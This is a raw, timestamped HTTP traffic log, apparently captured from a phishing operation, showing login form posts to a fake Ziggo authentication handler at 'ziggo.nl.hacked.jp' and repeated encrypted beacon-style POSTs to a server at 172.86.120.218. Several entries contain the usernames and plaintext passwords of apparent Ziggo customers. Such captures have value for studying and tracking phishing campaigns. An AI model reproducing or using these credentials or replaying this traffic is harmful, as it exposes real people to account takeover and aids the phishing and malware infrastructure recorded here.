  1653. [03:32] <HTTP> Cache-Control: no-cache
  1654. [03:32] <HTTP> BF+xnyFFAML1IdRqP8fhuxk6bCriMkmOxj7XCs8VJfQHJmFkuqmuS7mhLWpi4s6jeMs8aqunxKpzEuk/kgFwgpb5rLAOKWVoXJCokUcLdjyVLwY4AFyLgS4LUeOWScCcIAyRSNcKIuJIzaDXfu5Wm6+DWg8B73BY6S/BgG/S2yVXcGm98aH8cKwsRKlh/Glrqn0m6nH1ix57lWe84iLcyMdhB8jk8s3AoA6URvxTzmw/indwHfmNzp5zTf+vn7yns2YuZsatR0DMC95N8nvHZmJDAv8Zwsvl6kzW/hQpP2FEBbdEuWcba8Pjee/Rfen2JXBWITk69BKnLRFa9XxictJPxcOdZ4R5jU+VlrNnOOZg0zONRb2up3tFnbNjiHgYy7PjoYObr/SuLM
  1655. [03:32] <HTTP> MrQ7r6ViBC1w==
  1656. [03:34] <HTTP> Socket initiated: 93.41.104.77
  1657. [03:34] <HTTP> POST / HTTP/1.1
  1658. [03:34] <HTTP> Content-Type: application/x-www-form-urlencoded
  1659. [03:34] <HTTP> Socket initiated: 83.82.173.46
  1660. [03:34] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1661. [03:34] <HTTP> Host: 172.86.120.218
  1662. [03:34] <HTTP> Content-Length: 364
  1663. [03:34] <HTTP> Cache-Control: no-cache
  1664. [03:34] <HTTP> CAiwnnYfAw4WtAsOsDG16Db7lg6Yl8u+Y3uhptpsZdhjKriTrR1bTHWVStXI84tCQBF2/mwo0mvrxjCD4LGzHxsSM7hpJk0mh/fmHELfX60ZvjpTAgI6364MhAS/U8baHBfaIgI/mO+M8CAgjPHqwTzWA8ZpoK+6aprkOglCwUXOHREArEaHHb1CAUC71F540DhU+JGAtCIgEAwN+oYshHFa3MqwQ4buPyjwqJuePOWfj+z0q6MFMqGwiXfSv166p8Ot9bbo1ousvF6sPL5hSbpKRh3WMU4/jA9cavZdWV0vPEHeX9srvGJhzxzwMT0p3FVsEMLQ2tfS9VVNEiCwupKyEpkL76riCQegrwFLuMQ=
  1665. [03:34] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1666. [03:34] <HTTP> Host: ziggo.nl.hacked.jp
  1667. [03:34] <HTTP> Connection: keep-alive
  1668. [03:34] <HTTP> Content-Length: 132
  1669. [03:34] <HTTP> Cache-Control: max-age=0
  1670. [03:34] <HTTP> Origin: http://219.93.200.189
  1671. [03:34] <HTTP> Upgrade-Insecure-Requests: 1
  1672. [03:34] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
  1673. [03:34] <HTTP> Content-Type: application/x-www-form-urlencoded
  1674. [03:34] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  1675. [03:34] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1676. [03:34] <HTTP> Accept-Encoding: gzip, deflate
  1677. [03:34] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  1678. [03:34] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=hj.smout%40ziggo.n.l&userId=hj.smout%40ziggo.n.l&password=welkom.123&button=
  1679. [03:36] <HTTP> Socket initiated: 93.41.104.77
  1680. [03:36] <HTTP> POST / HTTP/1.1
  1681. [03:36] <HTTP> Content-Type: application/x-www-form-urlencoded
  1682. [03:36] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1683. [03:36] <HTTP> Host: 172.86.120.218
  1684. [03:36] <HTTP> Content-Length: 396
  1685. [03:36] <HTTP> Cache-Control: no-cache
  1686. [03:36] <HTTP> AFzgnScSAmH7aIMrUFaNeq1Aort3onWAJ+v4bY/NQsYbtZYzABhYNwTh5zoob4vJ4q73qEGzuLBGsP+sGEnRyB8mjS7EkVytDXuv3j5qqJM/V/St9UktF5M14sUBYSXTj9cng+GSzmYWzAPewu+/r/YXWlaI4nmGLZMzekfFpvAOeS3iNqT93Sn7/f2m1n4EdF0xM5TijwRrTCqza85PU40/PkwijKq7VpcfTOyRwO8tDNVLawa8IDonX6U4AiUzAJTMrOvINK4q1VXhZc6ICtTWadDlZj2G01ApXEr6Di+np+wUnDiPELxMYsn5RoIw9o2HBMwxNQmRnVMD9Cx+ZN3CrnhdW0rF8QcCucvYPuieYb1eCkeASViPJYD4vDVUZdnRYysAn/w=
  1687. [03:37] <HTTP> Socket initiated: 84.104.44.104
  1688. [03:38] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1689. [03:38] <HTTP> Host: ziggo.nl.hacked.jp
  1690. [03:38] <HTTP> Connection: keep-alive
  1691. [03:38] <HTTP> Content-Length: 106
  1692. [03:38] <HTTP> Socket initiated: 93.41.104.77
  1693. [03:38] <HTTP> Cache-Control: max-age=0
  1694. [03:38] <HTTP> Origin: http://219.93.200.189
  1695. [03:38] <HTTP> Upgrade-Insecure-Requests: 1
  1696. [03:38] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
  1697. [03:38] <HTTP> Content-Type: application/x-www-form-urlencoded
  1698. [03:38] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  1699. [03:38] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1700. [03:38] <HTTP> Accept-Encoding: gzip, deflate
  1701. [03:38] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  1702. [03:38] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=nicovang&userId=nicovang&password=Nj111134&button=
  1703. [03:38] <HTTP> POST / HTTP/1.1
  1704. [03:38] <HTTP> Content-Type: application/x-www-form-urlencoded
  1705. [03:38] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1706. [03:38] <HTTP> Host: 172.86.120.218
  1707. [03:38] <HTTP> Content-Length: 372
  1708. [03:38] <HTTP> Cache-Control: no-cache
  1709. [03:38] <HTTP> BAi0mnQfB2lWKLD6gQxOxjq9lJmnOgaRMK6V3ze/aTd8J3bNdKHuIdakS73IEbZOkHhyMkF9mQU+zX8YXN4lkoPz1/XnRIbUq0Qf23MiginUpJUvXqJmbyOVvuQIx+aN9+jbIE8Xb/WGwGGFkmizb0uVh4N0qLGQgeGl4xsRfpZzrT81T9/roy7iGKsyPxs1q3XJVBWAclLQJ4SJWyijJCsMtAwRuMCB4pUOHmNNukpIzzRRuayWxe7NL5OMOqpEwmL+sT9vemcG40FmdUWHZxDfUJpg9fXMEmfvrYpSgSATw7iqsZyYvb6yIck6Z45TOcKAnWSsUfP+gBELB4jSpp6LAnQPmRYmNljpvyFcj0jYj6oaV+s=
  1710. [03:40] <HTTP> Socket initiated: 93.41.104.77
  1711. [03:40] <HTTP> POST / HTTP/1.1
  1712. [03:40] <HTTP> Content-Type: application/x-www-form-urlencoded
  1713. [03:40] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1714. [03:40] <HTTP> Host: 172.86.120.218
  1715. [03:40] <HTTP> Content-Length: 408
  1716. [03:40] <HTTP> Cache-Control: no-cache
  1717. [03:40] <HTTP> A1KwmSEXBV1styuv3j+hBWtciI+rkPtUqRWjKW75FM/xSuEDF/UaWfkD0b++Vb02eRu6PhpRFHSbAoM3apcx/avR8SD4li2zKo12M0JjluxXnoFuRkIMe3NryLduVHaT/jq2NBn+O8fGKHw53NRzMh/JSVu3O2sg/TCp4iC7NHRbBYxCG4LgTQkPuuwp3JtJSsSG7tv1rXxal4HxxMPSAI9WRDXdbnyC7m//GEaJrlIB3wX9fVK4W52VcYpyRjy87uRZ/ylJul9OFQ+FXPigOD+3yxcn4dCNaTFWyD8m1cK5A+68/FEBJ1mBTvMYzV2NjBo2ekgyUsbcO5UspvfRlWqzURHWWmEM20tEgFJAJjOMQJGA6FyGtEahBYCuwAIVUb2QLy14pUdnJoqd6iYy6H/h
  1718. [03:40] <HTTP> Socket initiated: 80.114.117.74
  1719. [03:40] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1720. [03:40] <HTTP> Host: ziggo.nl.hacked.jp
  1721. [03:40] <HTTP> Connection: keep-alive
  1722. [03:40] <HTTP> Content-Length: 102
  1723. [03:40] <HTTP> Cache-Control: max-age=0
  1724. [03:40] <HTTP> Origin: http://219.93.200.189
  1725. [03:40] <HTTP> Upgrade-Insecure-Requests: 1
  1726. [03:40] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 7.0; HUAWEI VNS-L31 Build/HUAWEIVNS-L31) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  1727. [03:40] <HTTP> Content-Type: application/x-www-form-urlencoded
  1728. [03:40] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  1729. [03:40] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1730. [03:40] <HTTP> Accept-Encoding: gzip, deflate
  1731. [03:40] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  1732. [03:40] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Anwido&userId=Anwido&password=Anneke14&button=
  1733. [03:42] <HTTP> Socket initiated: 93.41.104.77
  1734. [03:42] <HTTP> POST / HTTP/1.1
  1735. [03:42] <HTTP> Content-Type: application/x-www-form-urlencoded
  1736. [03:42] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1737. [03:42] <HTTP> Host: 172.86.120.218
  1738. [03:42] <HTTP> Content-Length: 412
  1739. [03:42] <HTTP> Cache-Control: no-cache
  1740. [03:42] <HTTP> VFLjnSFAUo36+JNisu2GDmgJSuqwLvd+BsP2vxIKDFKGZyTiUEEvNCBpj44pS43/qjv0CC6+PUy0H3radCvobJzxDebpBeSTGVc3BwK20maMoUPw34GkWeFQZk2FzNQWxiBBknUpfjuc8hpznq8EmtxIWuBxboYfBWeOE5nO9GL9jEYVz4VI9x0YIQpZfwtnFQUXtNUwURPL0OFc5y0aaGpbH7Uz92U0H3Wj8gwfxEJ1btrXYDsKgfYu1KbnVWrhZxkPSISDuMkCZ5buQPjDj7pC7f5Nz9Zt3qc1oDHHTw4hhFlk+DI1XJ3VVoz3S+CookifVurS7t27p6L7wUvvPejuKt3CuddwemRmTCVcUelYWeJIKTP+OPNecOxR3eE5NSod25BLQXzOQu
  1741. [03:42] <HTTP> LFEfZg9T+pTS8=
  1742. [03:44] <HTTP> Socket initiated: 93.41.104.77
  1743. [03:44] <HTTP> POST / HTTP/1.1
  1744. [03:44] <HTTP> Content-Type: application/x-www-form-urlencoded
  1745. [03:44] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1746. [03:44] <HTTP> Host: 172.86.120.218
  1747. [03:44] <HTTP> Content-Length: 396
  1748. [03:44] <HTTP> Cache-Control: no-cache
  1749. [03:44] <HTTP> CFrjyicXWc1tcxcF01J4knFO8bwuCgdmoQB+kdv5pZ58A7tmM8QSdW+PIVDxhfnXlpYOJM+Rag9Q4Roz5Ke6hAax4qA+caYPacjcnQn/vfbsMZu41djQIBgsjRg/lhAawPi2cX+9oLcSv7x7WRRTAomffCZjLqjSgfDGztYE2qm5CMrMKeJVcVLSQI+eukj9aGns+N4/6ENu0TiZXLLiW4p0leKFJ7DHks1JXxOUyr//dxxctPVxjXIYroseg4tvsOYHNDabTvWwV01hKt4SVXMm5QOgHeQuKs4KVQfvnsZk3g2rNE2zMv9q8mH1AqKF/yLqHPxB2KRCJ7yVheXtp4BQrDRMk0mKEnW4SwPRtRY8sfOhqk7/6SOwn8GcC/ZNuhmSiG1Q8hI=
  1750. [03:46] <HTTP> Socket initiated: 93.41.104.77
  1751. [03:46] <HTTP> POST / HTTP/1.1
  1752. [03:46] <HTTP> Content-Type: application/x-www-form-urlencoded
  1753. [03:46] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1754. [03:46] <HTTP> Host: 172.86.120.218
  1755. [03:46] <HTTP> Content-Length: 432
  1756. [03:46] <HTTP> Cache-Control: no-cache
  1757. [03:46] <HTTP> BF63xSIUAkCz/BkEz3FkwEk/9jKx1iUZ2kVtPDAZhY07pBxN0OEGgTs9HfRx5eROGTIiZT4FLfmRpwBXDUIAu8keFTB6wzCULWnyXsYDz0UCoxX44u/cSOpRmzxKHombNreTfJKb1TAUVNLj9qeKYXU4drpokaar89yA7tecl8jBrnrScNF4iQyF26pKdUSiBDPeNCDSj3U87nSR8cEYJmkKbpEsAXWqyS9CaYeePOZT+R6lWT0hfHPIJv3RPZfagZHCiH6UbL46chq2OmmmYoC32kKuacwjoEVgwUoxsLm7Us8kpYfhKQPluKyOGjXpRDz2cNRhqTP3cVY/RlkoSosZlhst5ak5hqeDQmoMtWmwsVZP8RKfaFDLhB3WmSWObhNKhQ/3B59t2l
  1758. [03:46] <HTTP> GyXzPtYXElFdlH+UpGYAeiVBHZ7bRKV14=
  1759. [03:48] <HTTP> Socket initiated: 93.41.104.77
  1760. [03:48] <HTTP> POST / HTTP/1.1
  1761. [03:48] <HTTP> Content-Type: application/x-www-form-urlencoded
  1762. [03:48] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1763. [03:48] <HTTP> Host: 172.86.120.218
  1764. [03:48] <HTTP> Content-Length: 424
  1765. [03:48] <HTTP> Cache-Control: no-cache
  1766. [03:48] <HTTP> VVrmnyVEWWPMKNAEXIK5uX1q6F6dXEXBI14SuuOEl8AnWQaqFXHV74ekg1bEezB1YXxxJyZ0dUbOnh7B1b7ZDuKRKMS6NN1fynCa/BJ1JqeEhJp3UW/qox2XMXt1tkQNd6yuvVy7x67CtxRnC/o7/59RjuyORGj05w7gFPAAv5/ajJtjcRoIXwX02T/Xx27L709sZlcFbuJkOkBTL/au1KwmldqWR98ch0um18aQkKogjmO8tx4v/t6N9lfYj4tQ1Vh9H4+MgvBYarUmbJZtZoiH8LDIDfSihpRio38rYt6ew4YhQVHytWzpl+4QBEQ10KdiHxUHznwE1bCLeeCkAEIUPuKxficEMUnDeuU32lg709qhau/ZVOMrJdeWu1AQ1OfniRhR91xdow
  1767. [03:48] <HTTP> Hs5fR8LQoLPO3bkjgws7rwrA==
  1768. [03:50] <HTTP> Socket initiated: 93.41.104.77
  1769. [03:50] <HTTP> POST / HTTP/1.1
  1770. [03:50] <HTTP> Content-Type: application/x-www-form-urlencoded
  1771. [03:50] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1772. [03:50] <HTTP> Host: 172.86.120.218
  1773. [03:50] <HTTP> Content-Length: 396
  1774. [03:50] <HTTP> Cache-Control: no-cache
  1775. [03:50] <HTTP> Ug+wmSBHVjCFrMGVnfNi6gO1go0paDgVSXAaWJn+ZBac9ffh69NYMmPpwq4pzgdLmP7oqdt2uEMQMrkdi0YkMrAsSj1cAmDMVBkZhz0iR+vT7D4u1Zt9d3b+jkxSwqjscaIBJYyddstDVlYgRaL4RINxGd/CzNn5ZGCfF/Er8LpYoI5A687nuqSNQ2Ctn8gF+eOqRj/0cmACFDwM+Gn42XawJhs/Yg8uof4JCOpSwz3N/nhjE69nQPLOyEyi4HTFTZwsTafVwcMg3PDTrl3o/suYUMlrTEiI7Fb0rbEDDAL0luSW9d3ciWEORzbG0D0y73OeR/WO/EiDGvjoe/qdDK8+g+yF3T4QAbx0/ZR0VGAzcQcvtaoAGYrpUMq+5IbtxKgtgM642XU=
  1776. [03:52] <HTTP> Socket initiated: 93.41.104.77
  1777. [03:52] <HTTP> POST / HTTP/1.1
  1778. [03:52] <HTTP> Content-Type: application/x-www-form-urlencoded
  1779. [03:52] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1780. [03:52] <HTTP> Host: 172.86.120.218
  1781. [03:52] <HTTP> Content-Length: 412
  1782. [03:52] <HTTP> Cache-Control: no-cache
  1783. [03:52] <HTTP> CVrnzyAVVHu2Ydwz5uCy2+fQcDo8W+EU5x78pO7+0zdByoQRAiLQjSlUOrEuwMPGEiK51Rtr8J0v6g8me8dQ5dsSeMerz212PYy1m4jxEVhur29l5Emz2ndsJEZYwKXhBOQz4gXWqbv7huKRZ1YtjfH1fjP3UaDwkVFyE7oiuO2W/Cqz/L5H/X5CD09nA/waFv9twqRKC00VnMaTyXs1BDJFYahErM4EZx7ldWYw/VbAfNg6dswNDF9GVUyfVsvYdHaB1dwjdum1ywQp8daIbCiMnWUBViIwzwrIUUgM9convvsi0uJXj11Kg8zzBqB2WELrKEqMQwwWFPrbZ2t4lQJb2OifacJJAOCEPU7Rj+UEqYAFrtocbwTCJ6IOgqYlhZeDHJlObvW/5D
  1784. [03:52] <HTTP> upQeIZqzaLlg==
  1785. [03:53] <HTTP> Socket initiated: 94.211.9.237
  1786. [03:54] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1787. [03:54] <HTTP> Host: ziggo.nl.hacked.jp
  1788. [03:54] <HTTP> Connection: keep-alive
  1789. [03:54] <HTTP> Content-Length: 114
  1790. [03:54] <HTTP> Cache-Control: max-age=0
  1791. [03:54] <HTTP> Origin: http://219.93.200.189
  1792. [03:54] <HTTP> Upgrade-Insecure-Requests: 1
  1793. [03:54] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 5.0; E2303 Build/26.1.A.3.111) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.132 Mobile Safari/537.36
  1794. [03:54] <HTTP> Content-Type: application/x-www-form-urlencoded
  1795. [03:54] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  1796. [03:54] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1797. [03:54] <HTTP> Accept-Encoding: gzip, deflate
  1798. [03:54] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  1799. [03:54] <HTTP> Socket initiated: 93.41.104.77
  1800. [03:54] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=OLAV_DESTENY&userId=OLAV_DESTENY&password=JH50MW53&button=
  1801. [03:54] <HTTP> POST / HTTP/1.1
  1802. [03:54] <HTTP> Content-Type: application/x-www-form-urlencoded
  1803. [03:54] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1804. [03:54] <HTTP> Host: 172.86.120.218
  1805. [03:54] <HTTP> Content-Length: 404
  1806. [03:54] <HTTP> Cache-Control: no-cache
  1807. [03:54] <HTTP> A1rmy3YVAmRAn8Pftglk/USVph0mG3kVOrbLDZhT6VlHPgQB+znfoNvbPBnEgX6LF7+DDHoU/oGCgEuzL7IBV1//ZnJgPCq9g3Vkaf3Cm6syXwb+aiJKhJvZokZzmc1N/EpNu5n5zZrdPmGgz2HRC5SorkgRPzr5qt2kJnpPt6KwXyGqFykVuPLYjYgOkXnldyI2kUM4X774Hzj15H6lCaUp6MknFTVB163mkgTXjv+ZyV+BzwTZlru4u8lUvnPA50OYmbbDyb/jCDpk9Zast7hoXi8xdy1TpLDCf3h93D1jtxOKYtqXZA7/nWtVudFzn+oxRZZ5l6caR5mymnupYkjy9J6UsotPs6WDxVKjkYD7APO6yuslGRitmWeXJcqRnahL6mIIPaTQb5gn/Q==
  1808. [03:54] <HTTP> Socket initiated: 222.186.31.153
  1809. [03:55] <HTTP> GET / HTTP/1.1
  1810. [03:55] <HTTP> Host: www.lwxs520.com
  1811. [03:56] <HTTP> Socket initiated: 93.41.104.77
  1812. [03:56] <HTTP> POST / HTTP/1.1
  1813. [03:56] <HTTP> Content-Type: application/x-www-form-urlencoded
  1814. [03:56] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1815. [03:56] <HTTP> Host: 172.86.120.218
  1816. [03:56] <HTTP> Content-Length: 424
  1817. [03:56] <HTTP> Cache-Control: no-cache
  1818. [03:56] <HTTP> AVznn3wWBX3HccUQtQ+DVTFxz0TP3DAkC8Tw9pLczeInvy9Pz9m80T9o8K85mvXF+CKMYzPqTJBPWgFYKGocYzIHYP6BIeI99L4HaFs9TykT/JxBL6MGt8i1kZFA5MtcIXqUaZ/LDscdLtgTtOB/FjttMQ0sgvYyEFu4vsW7MKiSJfUPAFG6CFkJpeQqWP1QMNiri6F9SOJjAPXb3IP8lN5cP9l1RiDfH5H5EYDqyZnSE21hUbhOKtf/Cjtj82Iwx37IRbQQvhJ6Onm7yG/Y7saRBMJrzBfEH+pVvSalkzkU2vf0WDa9gK3GKemuzHtX8C0KlocNIaTu9LqVN0Vmc3KN11+EQxNVBCG8QsXpFi49LLKJ3GK5AezIE6ufnRbtUDRkpDBFnqOgvR
  1819. [03:56] <HTTP> hOJb4XcZWOm5bNMPG47ofjAQ==
  1820. [03:58] <HTTP> Socket initiated: 93.41.104.77
  1821. [03:58] <HTTP> POST / HTTP/1.1
  1822. [03:58] <HTTP> Content-Type: application/x-www-form-urlencoded
  1823. [03:58] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1824. [03:58] <HTTP> Host: 172.86.120.218
  1825. [03:58] <HTTP> Content-Length: 408
  1826. [03:58] <HTTP> Cache-Control: no-cache
  1827. [03:58] <HTTP> VFy7nXASBE6nMweK1XnGIyj+znqmlamfdvjD7Lt+WpCCWkzGMvv81hUKFbuHIvi0mr0Kk7CAmXIeLGEcT7Yh/DV6LiL7KHJvpyIDjLZu029BsVMS+bXi95Yq9B1QXGdYz+pNsBYIzZCgqT94MmiAYcQlqPjGSrKJpmwgkU9wl9Es4RG54z2mQIXYic1CREoltA5Dzs1m/7ncr1fnKrqq8+M0MsjHeUuSURzg1pfz0px2qJUsg16QH2ZWqnLkVW9/YMkaUreJ9Ny5zSyXIZLBiE0MGRsiB5ulBPGvgIZV54xPqVDP2tjIWMADbLEL1ClfLyrbx0is91JNtOH4O9IuesuCojQCHjQaomOG5qX4KJOTieZWTumh/BMEIWBcrsWTMXLp5Sfte7dqqG5oiVluVQ==
  1828. [04:00] <HTTP> Socket initiated: 93.41.104.77
  1829. [04:00] <HTTP> Socket initiated: 84.106.85.183
  1830. [04:00] <HTTP> POST / HTTP/1.1
  1831. [04:00] <HTTP> Content-Type: application/x-www-form-urlencoded
  1832. [04:00] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1833. [04:00] <HTTP> Host: 172.86.120.218
  1834. [04:00] <HTTP> Content-Length: 404
  1835. [04:00] <HTTP> Cache-Control: no-cache
  1836. [04:00] <HTTP> UQ22mHVFVjaQRHeA+KH/L/On5CNbZfrW6nJ73ygB7FILHekThkt5wzSAY3ufqbHXM7tc2POscILZcI15R3vwpfORhQ9Kqu3wxNJcYWBWJu/buUGCcLuduhrPQB5wwvHtyJNmVAxEd5DpJslu/UdERSxNvJuZO1yjoGw9+DJNHwP9F46tuk8l18JUJ580cx6dE6y5mbKrm1ckpnzaFy+jSnPWKS92uBsBiOINxaiLFTJpB9LXqlovbthckv4Z4UQZ4p5xDXJ+A5frCMMcANYYDrTKtzaFR4K63Q0IwsVXzfC0mC5kYU0mbDl8MAk5TNBhp9yyszfopzanSHzjVJ8gn+EpxXQYOflqg6U61E6n5elLNKxOeeaZFA1pqWITCplvATVuM8QqkY+5Dt2PxA==POST
  1837. [04:00] <HTTP> /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1838. [04:00] <HTTP> Host: ziggo.nl.hacked.jp
  1839. [04:00] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  1840. [04:00] <HTTP> Accept-Language: nl-nl
  1841. [04:00] <HTTP> Accept-Encoding: gzip, deflate
  1842. [04:00] <HTTP> Content-Type: application/x-www-form-urlencoded
  1843. [04:00] <HTTP> Origin: http://219.93.200.189
  1844. [04:00] <HTTP> User-Agent: Mozilla/5.0 (iPad; CPU OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1
  1845. [04:00] <HTTP> Connection: keep-alive
  1846. [04:00] <HTTP> Upgrade-Insecure-Requests: 1
  1847. [04:00] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1848. [04:00] <HTTP> DNT: 1
  1849. [04:00] <HTTP> Content-Length: 108
  1850. [04:00] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=leoenleny&userId=leoenleny&password=lerova2x&button=
  1851. [04:00] <HTTP> POST / HTTP/1.1
  1852. [04:00] <HTTP> Content-Type: application/x-www-form-urlencoded
  1853. [04:00] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1854. [04:00] <HTTP> Host: 172.86.120.218
  1855. [04:00] <HTTP> Content-Length: 404
  1856. [04:00] <HTTP> Cache-Control: no-cache
  1857. [04:00] <HTTP> UQ22mHVFVjaQRHeA+KH/L/On5CNbZfrW6nJ73ygB7FILHekThkt5wzSAY3ufqbHXM7tc2POscILZcI15R3vwpfORhQ9Kqu3wxNJcYWBWJu/buUGCcLuduhrPQB5wwvHtyJNmVAxEd5DpJslu/UdERSxNvJuZO1yjoGw9+DJNHwP9F46tuk8l18JUJ580cx6dE6y5mbKrm1ckpnzaFy+jSnPWKS92uBsBiOINxaiLFTJpB9LXqlovbthckv4Z4UQZ4p5xDXJ+A5frCMMcANYYDrTKtzaFR4K63Q0IwsVXzfC0mC5kYU0mbDl8MAk5TNBhp9yyszfopzanSHzjVJ8gn+EpxXQYOflqg6U61E6n5elLNKxOeeaZFA1pqWITCplvATVuM8QqkY+5Dt2PxA==POST
  1858. [04:00] <HTTP> Host: ziggo.nl.hacked.jp
  1859. [04:00] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  1860. [04:01] <HTTP> /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1861. [04:01] <HTTP> Accept-Language: nl-nl
  1862. [04:01] <HTTP> Accept-Encoding: gzip, deflate
  1863. [04:01] <HTTP> Content-Type: application/x-www-form-urlencoded
  1864. [04:01] <HTTP> Origin: http://219.93.200.189
  1865. [04:01] <HTTP> User-Agent: Mozilla/5.0 (iPad; CPU OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1
  1866. [04:01] <HTTP> Connection: keep-alive
  1867. [04:01] <HTTP> Upgrade-Insecure-Requests: 1
  1868. [04:01] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1869. [04:01] <HTTP> DNT: 1
  1870. [04:01] <HTTP> Content-Length: 108
  1871. [04:01] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=leoenleny&userId=leoenleny&password=lerova2x&button=
  1872. [04:02] <HTTP> Socket initiated: 93.41.104.77
  1873. [04:02] <HTTP> POST / HTTP/1.1
  1874. [04:02] <HTTP> Content-Type: application/x-www-form-urlencoded
  1875. [04:02] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1876. [04:02] <HTTP> Host: 172.86.120.218
  1877. [04:02] <HTTP> Content-Length: 380
  1878. [04:02] <HTTP> Cache-Control: no-cache
  1879. [04:02] <HTTP> VFK7yiEfWXoVNwfsoJNyEBjI+9HImBIWrO70Bk3dBDEGoYwHEC9bQISL0CI6d0P+hX6RqTdOhmJDsoT/BZj44yTM0j4qGqpxYp5A555ip2MmlxIUSTcOzKkQG3si6j3Vd05cX3lOmNHpdGlyZ97cSgw0ADNIwLG2QHeF9GnHulJuN7g8B5viOk8ZN111OtZqNYTy9GnhWhPAP/Dh0cwD/VOX/qhWLrq7zKdisiXqzkcBqOHw/AMRVNqGLRD2ZSfwaEmseSICAhSfuX+SrnohwQgwn2o957+6EGsALbRMTqpAIE6zbZo96YOWWeVJaPsqzIJsB8G1N+ZfXaXPBvkanG/rjo8Ff5zpEqeHthlclnQPn60UJfPUlroxc1g=
  1880. [04:04] <HTTP> Socket initiated: 93.41.104.77
  1881. [04:04] <HTTP> POST / HTTP/1.1
  1882. [04:04] <HTTP> Content-Type: application/x-www-form-urlencoded
  1883. [04:04] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1884. [04:04] <HTTP> Host: 172.86.120.218
  1885. [04:04] <HTTP> Content-Length: 360
  1886. [04:04] <HTTP> Cache-Control: no-cache
